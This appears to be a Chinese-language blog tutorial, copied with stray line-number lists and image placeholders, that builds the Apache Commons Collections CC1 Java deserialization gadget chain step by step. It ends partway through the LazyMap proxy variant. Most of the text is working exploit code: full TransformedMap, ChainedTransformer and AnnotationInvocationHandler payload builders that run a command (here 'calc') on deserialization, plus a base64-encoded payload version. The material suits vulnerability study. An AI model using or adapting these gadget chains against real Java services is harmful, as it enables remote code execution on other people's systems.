//      invokeTransform弹个计算器
        Runtime runtime = Runtime.getRuntime();
//      第一个exec就是runtimeClass.getMethod("exec",
//        第二个new CLass[]{String.class}就是String.class);
//        第三个 new Object[]{"calc"}就是,"calc");
        InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        exec.transform(runtime);

//
//        其实这里是先创建一个objectObjectHashMap用来对valueTransformer进行赋值,也就是说这里只是进行了赋值操作
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
//        我们只需要将valueTransformer赋值成exec,方便于checkSetValue的调用(现在还没调用,仅仅是赋值操作)
        TransformedMap.decorate(objectObjectHashMap,null,exec);

    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35

这里已经赋值完成了,我们就需要去调用这个checkSetValue了,先查找一下

image-20220603210702021

写成这样,接着我们去找哪里调用了checkSetValue()

image-20220531223432387

这里找到了抽象类的AbstractInputCheckedMapDecorator中的setValue()

image-20220531223526357

这里是继承了这个AbstractInputCheckedMapDecorator类,所以在子类TransformedMap调用setValue的时候就会调用AbstractInputCheckedMapDecorator的.

image-20220603211136812

也就是这里,这里我们已经找到了去checkSetValue()的地方,那么我们又要去寻找可以调用setValue的地方.其实这里我们已经找到了就在AnnotationInvocationHandler类中.可以看到这里采用的是循环的方式去调用setValue,因此我们也可以写成这种方式.

image-20220723163453307

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.CORBA.OBJ_ADAPTER;

import java.io.*;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception {
//      invokeTransform弹个计算器
        Runtime runtime = Runtime.getRuntime();
//      第一个exec就是runtimeClass.getMethod("exec",
//        第二个new CLass[]{String.class}就是String.class);
//        第三个 new Object[]{"calc"}就是,"calc");
        InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        exec.transform(runtime);

//
//        其实这里是先创建一个objectObjectHashMap用来对valueTransformer进行赋值,也就是说这里只是进行了赋值操作
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
 //      这里我们要将一个值存放到map中去 原因就是下面的decorate仅仅是装饰这个map并不会为map中添加值,所以我们需要手动添加值 才能进入下面的
        objectObjectHashMap.put("key","value");
//        我们只需要将valueTransformer赋值成exec,方便于checkSetValue的调用(现在还没调用,仅仅是赋值操作)
        Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, exec);
//        注意这里的runtime其实就是transform(Object input)这里的input
        for (Map.Entry entry:decorate.entrySet()){
            entry.setValue(runtime);
        }
//        到这里我们就需要去找一条通过像我们这样调用方法去调用的setValue()

    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new `FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44

这里可以看到首先是在TransformedMap中有个valueTransformer,之后在decorateTransform中new 了一个TransformedMap

image-20220531222907691

现在我们找到了调用setValue的地方还需要注意的是这里的方法就是我们需要的readObject方法,也就是反序列化的起点

image-20220723170756643

接着我们去看看memberValue是怎么赋值的

image-20220603214638496

可以看到这里是一个默认类型的构造方法方法,也就是只能在当前包下才能调用.其中的参数第一个其实是一个注解(@Override这种),第二个是一个map类型,也就是这里需要反射来创建(原因就是这里的构造方法其实是一个默认方法)

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.CORBA.OBJ_ADAPTER;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception {
//      invokeTransform弹个计算器
        Runtime runtime = Runtime.getRuntime();
//      第一个exec就是runtimeClass.getMethod("exec",
//        第二个new CLass[]{String.class}就是String.class);
//        第三个 new Object[]{"calc"}就是,"calc");
        InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        exec.transform(runtime);

//
//        其实这里是先创建一个objectObjectHashMap用来对valueTransformer进行赋值,也就是说这里只是进行了赋值操作
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put("key","value");
//        我们只需要将valueTransformer赋值成exec,方便于checkSetValue的调用(现在还没调用,仅仅是赋值操作)
        Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, exec);
//        注意这里的runtime其实就是transform(Object input)这里的input
//        for (Map.Entry entry:decorate.entrySet()){
//            entry.setValue(runtime);
//        }
//        到这里我们就需要去找一条通过像我们这样调用方法去调用的setValue()
//        这里我们就找到了AnnotationInvocationHandler.java的readObject,现在我们需要通过反射来给memberValue进行赋值(原因是方法是默认类型同包下才能调用)
//        这里是先获取一个AnnotationInvocationHandler的类对象
        Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//        获取构造方法
        Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class);
//      设置可以访问
        aihClassDeclaredConstructor.setAccessible(true);
//        这里传入的是注解的类,因为参数接受的就是注解类 后面的decorate其实就是我们已经构造好的map
        Object o = aihClassDeclaredConstructor.newInstance(Override.class, decorate);


    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55

到这里我们已经找到了起点和终点,现在我们需要将它串起来,并且可以反序列化.还记得在checkSetValue(value)这里我们传入的value吗.这个关键的Rntime.getRuntime()其实是不能被反序列化的.我们需要通过反射去拿到

image-20220604135728349

这里其实用到了java的单例模式,这里简单来说就是我们可以通过调用getRuntime来构造一个Runtime对象,顺便仔细理解一下

这一行

Runtime.getRuntime().exec("calc");
  • 1

image-20220604140105691

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.CORBA.OBJ_ADAPTER;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception {
//      invokeTransform弹个计算器
//        Runtime runtime = Runtime.getRuntime();
//      第一个exec就是runtimeClass.getMethod("exec",
//        第二个new CLass[]{String.class}就是String.class);
//        第三个 new Object[]{"calc"}就是,"calc");
        InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        exec.transform(runtime);

//
//        其实这里是先创建一个objectObjectHashMap用来对valueTransformer进行赋值,也就是说这里只是进行了赋值操作
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put("key","value");
//        我们只需要将valueTransformer赋值成exec,方便于checkSetValue的调用(现在还没调用,仅仅是赋值操作)
        Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, exec);
//        注意这里的runtime其实就是transform(Object input)这里的input
//        for (Map.Entry entry:decorate.entrySet()){
//            entry.setValue(runtime);
//        }
//        到这里我们就需要去找一条通过像我们这样调用方法去调用的setValue()
//        这里我们就找到了AnnotationInvocationHandler.java的readObject,现在我们需要通过反射来给memberValue进行赋值(原因是方法是默认类型同包下才能调用)
//        也就是这里的readObject其实就是我们的起点
//        这里是先获取一个AnnotationInvocationHandler的类对象
        Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//        获取构造方法
        Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class);
//      设置可以访问
        aihClassDeclaredConstructor.setAccessible(true);
//        这里传入的是注解的类,因为参数接受的就是注解类 后面的decorate其实就是我们已经构造好的map
        Object o = aihClassDeclaredConstructor.newInstance(Override.class, decorate);

//        下面是正常通过反射执行命令的语句
//        Runtime runtime = Runtime.getRuntime();
//        由于Runtime的本身无法序列化,但是Runitme的class其实是可以序列化的
        Class<Runtime> runtimeClass = Runtime.class;
//        由于是无参方法所以这里的第二个参数就填null就好了
        Method getRuntime = runtimeClass.getMethod("getRuntime",null);
//        这里也是在执行的时候执行的是一个静态方法,也就是不需要对象第一个参数就填null就好,而又是一个无参方法,第二个参数也是null
//        这里其实获取的是一个runtime对象,也就是这一行Runtime runtime = Runtime.getRuntime();
        Runtime runtime1 = (Runtime) getRuntime.invoke(null, null);

//        现在我们需要获取exec()方法来执行命令
        Method exec1 = runtimeClass.getMethod("exec", String.class);
        exec1.invoke(runtime1,"calc");


    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70

我们把整个执行全部换成反射

package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class urldnsre {
    public static void main(String[] args) throws Exception{


//        Runtime.getRuntime().exec("calc");
        Class runtimeClass = Runtime.class.getClass();
//        获取一个class对象 用于获取class中的getMethod方法
        Method getRuntime = runtimeClass.getMethod("getMethod", String.class, Class[].class
        );
//        这里获取到了getMethod之后去获取runtime类的getRuntime也就是Runtime.getRuntime()
        Method getRuntimeMethod = (Method) getRuntime.invoke(Runtime.class, "getRuntime", null);

//        这里是获取method类的invoke方法
        Class<? extends Method> aClass1 = getRuntimeMethod.getClass();
        Method invoke = aClass1.getMethod("invoke", Object.class, Object[].class);
//        invoke方法去获取runtime对象也就是Runtime.getRuntime()
        Runtime runtime1 = (Runtime) invoke.invoke(getRuntimeMethod, null,null);
//      获取runttime的exec方法
        Class<? extends Runtime> aClass2 = runtime1.getClass();
        Method exec = aClass2.getMethod("exec", String.class);
//        这里去执行calc
        exec.invoke(runtime1,"calc");

    }


}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37

接下来,我们将我们这种形式用到transformer上面

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.CORBA.OBJ_ADAPTER;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception {
//        下面我们将我们写的套用到transform上面,仔细理解一下,其实这里的transform其实就像我们自己写的反射,但是他给我们进行了封装操作,因此我们只用传入参数就好
//        这里其实要多加一步,我们先要通过反射获取getRuntime    也就是这一行Method getRuntime = runtimeClass.getMethod("getRuntime",null);
        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//        这一行Runtime runtime1 = (Runtime) getRuntime.invoke(null, null);
        Runtime runtime2 = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
//        这一行Method exec1 = runtimeClass.getMethod("exec", String.class);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime2);


    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

对比版

package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class urldnsre {
    public static void main(String[] args) throws Exception{


//        Runtime.getRuntime().exec("calc");
        Class runtimeClass = Runtime.class.getClass();
//        获取一个class对象 用于获取class中的getMethod方法
        Method getRuntime = runtimeClass.getMethod("getMethod", String.class, Class[].class
        );
//        这里获取到了getMethod之后去获取runtime类的getRuntime也就是Runtime.getRuntime()
        Method getRuntimeMethod = (Method) getRuntime.invoke(Runtime.class, "getRuntime", null);

        Method getRuntimetr = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);


//        这里是获取method类的invoke方法
        Class<? extends Method> aClass1 = getRuntimeMethod.getClass();
        Method invoke = aClass1.getMethod("invoke", Object.class, Object[].class);
//        invoke方法去获取runtime对象也就是Runtime.getRuntime()
        Runtime runtime1 = (Runtime) invoke.invoke(getRuntimeMethod, null,null);

        Runtime runtimetr = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimetr);

//      获取runttime的exec方法
        Class<? extends Runtime> aClass2 = runtime1.getClass();
        Method exec = aClass2.getMethod("exec", String.class);
//        这里去执行calc
        exec.invoke(runtime1,"calc");

        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtimetr);

    }


}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45

这里我们可以发现,这里其实就是循环调用的,也就是前一个的输出是后一个的输入,接着我们找到了ChinedTransformer.java,可以看到对传入的一个Transformer数组进行了循环调用

image-20220604143935084

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.CORBA.OBJ_ADAPTER;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception {

//        这里我们就找到了ChainedTransformer
//      将我们的Transformer放进去
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
//        先在构造方法中传入数组
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        调用transform传入一个Runtime.class 这里需要稍微注意一下 因为传入的Runtime.class其实就像一个引水 由它来进行链式调用的开始
        chainedTransformer.transform(Runtime.class);
        
        
        
    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42

这里也是写完了,但是在进行序列化和反序列化的时候并不会执行

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.CORBA.OBJ_ADAPTER;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception {

//        这里我们就找到了ChainedTransformer
//      将我们的Transformer放进去
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
//        先在构造方法中传入数组
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        调用transform传入一个Runtime.class
//        到现在我们也就是只需要调用一次chainedTransformer.transform就可以执行代码了
//        chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put("key","value");
//        chainedTransformer 注意这里进行更改
        Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
        Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class);
        aihClassDeclaredConstructor.setAccessible(true);
        Object o = aihClassDeclaredConstructor.newInstance(Override.class, decorate);

        serialize(o);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53

加个断点我们来查看一下是不是if语句的问题

image-20220604145421500

可以看到这里的memberTypes是null也就是进不去if语句.

 Map<String, Class<?>> memberTypes = annotationType.memberTypes();
  • 1

这一句话的意思大概就是去拿注解里面的方法名,返回的是一个hashmap

接下来通过我们传入的objectObjectHashMap中的key去寻找对应的hashmap有没有这个key名称的方法

image-20220604150058536

这里我们先看看正确的

image-20220604150348101

image-20220604150309928

image-20220723203948039

现在已经可用进入if语句了但是又出现了一个问题

image-20220604150435284

注意这个对象

image-20220604150610504

image-20220604150722254

其实这两句是一样的了

chainedTransformer.transform(Runtime.class);
valueTransformer.transform(value);
  • 1
  • 2

其实现在你有可能不理解但是你可以跟下去调试一下,也就是到了这一步里面去了,现在我们已经可以调用transform().

image-20220723204606343

但是由于这个value值在前面已经固定了(就是这个对象AnnotationTypeMismatchExceptionProxy),所以我们还需要去将它更改成Rntime.class

我们由找到了这里的ConstanTransformer,由于构造的时候传入的值通过调用transform会原样返回回来,所以我们就可以将这个值改成Runtime.class

image-20220604151100293

也就是说我们,这里通过chainedTransformer.Transformer 去调用 ConstantTransformer.Transformer 这里返回了一个Runtime.class,也正是下面的开始,所以才正式开始利用

最终代码

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.CORBA.OBJ_ADAPTER;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
    public static void main(String[] args) throws Exception {

//        这里我们就找到了ChainedTransformer
//      将我们的Transformer放进去
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
//        先在构造方法中传入数组
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        调用transform传入一个Runtime.class
//        到现在我们也就是只需要调用一次chainedTransformer.transform就可以执行代码了
//        chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put("value","value");
//        chainedTransformer 注意这里进行更改
        Map<Object, Object> decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
        Class<?> AIHClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> aihClassDeclaredConstructor = AIHClass.getDeclaredConstructor(Class.class, Map.class);
        aihClassDeclaredConstructor.setAccessible(true);
        Object o = aihClassDeclaredConstructor.newInstance(Target.class, decorate);

        serialize(o);
        unserialize("ser.bin");




    }
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
        return obj;
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58

image-20220723211333445

这里也是可以看到我们由于调用的ConstantTransformer()的Transformer()所以返回回来的值有了改变

image-20220723211446166

image-20220604151512270

流程图

image-20220604153409990

base64版

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class urldnsre {
    public static void main(String[] args) throws Exception{


        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put("value","value");
        Map decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance(Target.class, decorate);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(o);

        byte[] bytes = byteArrayOutputStream.toByteArray();
        Base64.Encoder encoder = Base64.getEncoder();
        String s = encoder.encodeToString(bytes);
        System.out.println(s);


        Base64.Decoder decoder = Base64.getDecoder();
        byte[] decode = decoder.decode(s);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();




    }


}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63

cc1(二)

先看看它咋调用的

image-20220604154104641

可以看到LazyMap后面的都是一样的

这里的get调用了transform()

image-20220604153845370

可见这里的invoke调用了get方法,并且这里的memberValue可以控制,而且invoke在动态代理的时候,无论外面调用什么方法都会执行invoke方法.

这里原链是通过的AnnotationInvocationHandler.java 的readObject方法作为初始点,通过将memberValues赋值为AnnotationInvocationHandler的动态代理对象(LazyMapProxy)去调用entrySet(),既然memberValues是一个代理对象(LazyMapProxy),那么如果不管调用LazyMap的什么方法都会执行AnnotationInvocationHandler的invoke方法(理解了吗?)

    public class ProxyHandler implements InvocationHandler{
        private Object object;
        public ProxyHandler(Object object){
            this.object = object;
        }
        @Override
        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
            System.out.println("Before invoke "  + method.getName());
            method.invoke(object, args);
            System.out.println("After invoke " + method.getName());
            return null;
        }
    }


    
        public static void main(String[] args) {
        System.getProperties().setProperty("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
 
        HelloInterface hello = new Hello();
        
        InvocationHandler handler = new ProxyHandler(hello);
 
        HelloInterface proxyHello = (HelloInterface) Proxy.newProxyInstance(hello.getClass().getClassLoader(), hello.getClass().getInterfaces(), handler);
 
        proxyHello.sayHello();
    }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

对比一下

class AnnotationInvocationHandler implements InvocationHandler, Serializable {

    public Object invoke(Object proxy, Method method, Object[] args) {
    }
}

